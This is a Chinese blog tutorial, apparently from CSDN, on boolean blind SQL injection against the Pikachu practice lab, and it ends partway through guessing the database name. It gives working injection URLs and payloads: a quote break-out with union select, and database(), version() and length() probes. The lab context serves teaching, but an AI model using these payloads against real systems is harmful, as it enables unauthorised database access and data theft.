sql注入练习之bool盲注

本文详细介绍了SQL布尔型盲注的基本原理、相关函数以及实际操作步骤,通过实例展示了如何利用布尔型盲注技术来猜解数据库信息,包括数据库名、版本、表名和列名等。实验环境为phpstudy + apache + mysql + pikachu,通过观察返回页面的不同来判断条件真假,逐步揭示数据库结构。
摘要由CSDN通过智能技术生成

1.bool盲注的原理

以根据返回页面判断条件真假的注入

判断方式:

通过长度判断 length(): length(database())>=x

通过字符判断 substr():substr(database() ,1,1)= 's'

通过 ascII 码判断:ascii():ascii(substr(database(),1,1)) =x

2.bool盲注相关的函数

3.实验-bool盲注

实验环境:phpstudy+apache+mysql+pikachu

3.1判断注入点

否管它是什么注入,先输入数据看看情况。判断有注入点,本身就是一种注入行为,根据返回正常情况和不正常的情况比较有没有注入,盲注也是基于这一点,根据返回的非正常情况来判断注入是否正确。

这一关,查询用户名信息,猜测多办是搜索类型,需要考虑闭合。其次查询的结果可能有多列,这里还是先判断结果有多少列。通常情况是使用order by,我这里使用select。

3.1.1 实验操作之判断注入点

输入adc正常的显示是这样的

 

看看非正常情况。尝试了几中数据。abc’  abc”  abc% 都和正常显示一样,猜测很可能这个执行查询失败的时候是没有回显的,这个时候真么办呢??既然无回显,想办法让它显示不一样的结果呗。同样先猜测它的结果列数。尝试了order by 一系列,结果每什么变化,那就才用另外一种方式了。才用union联合。先测试用union select 1,2,3,4。。。

猜测到 2的时候,数据显示不一样了。

 

既然这样说明,只有2列,传入的实际参数 abc’ union select 1,2

http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union%20select%201,2--+&submit=%E6%9F%A5%E8%AF%A2

3.1.2 分析结果

那么可以总结出,需要闭合’ ,结果分成2列。接下需要猜解数据库的信息.

3.2 猜解数据库

构造sql语句,根据前面的分析,这里需要考虑闭合、采用union联合来猜解。

3.2.1常规的猜解方式

使用函数猜解数据库名和数据库版本

http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union%20select%201,database()--+&submit=%E6%9F%A5%E8%AF%A2

参数:abc’ union select 1,database()--+

 

http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union%20select%201,version()--+&submit=%E6%9F%A5%E8%AF%A2

参数:abc’ union select 1,version()--+

 

得到数据库为pikachu,版本5.5.53 这里database(),可以换成其函数,也可以select database(),version() 常用的函数如下:

 

3.2.2 盲注的猜解方式

既然是盲注,肯定也需要用盲注的方式尝试。

盲注是通过条件真假来判断。

常用的函数length()、ascii() 、ord()、left()、regexp()

3.2.2.1 猜解数据库长度

这里使用length()计算猜数据库的长度。

http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union%20select%201,length(database())%3E=7--+&submit=%E6%9F%A5%E8%AF%A2

参数:abc’ union select ,1,length(database())>=7--+

 

这个时候返回的是1,代表的是真。说明还没有猜中,还需要继续改条件,直到为假,为0。

http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=abc%27%20union%20select%201,length(database())%3E=8--+&submit=%E6%9F%A5%E8%AF%A2

参数:abc’ union select ,1,length(database())>=8--+

 

这个时候,返回0,代表的是假,从临界测试说明数据库名长度为7。

3.2.2.1.1 猜解长度结果

等于7

3.2.2.2 猜解数据库名

这里采用逐字猜解,使用到字符串重相关的函数。

猜解数据库名的第一个字符。

database()函数获取名字,然后取第一个字母,使用substr(database(),1,1)。

在数据库中尝试情况:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值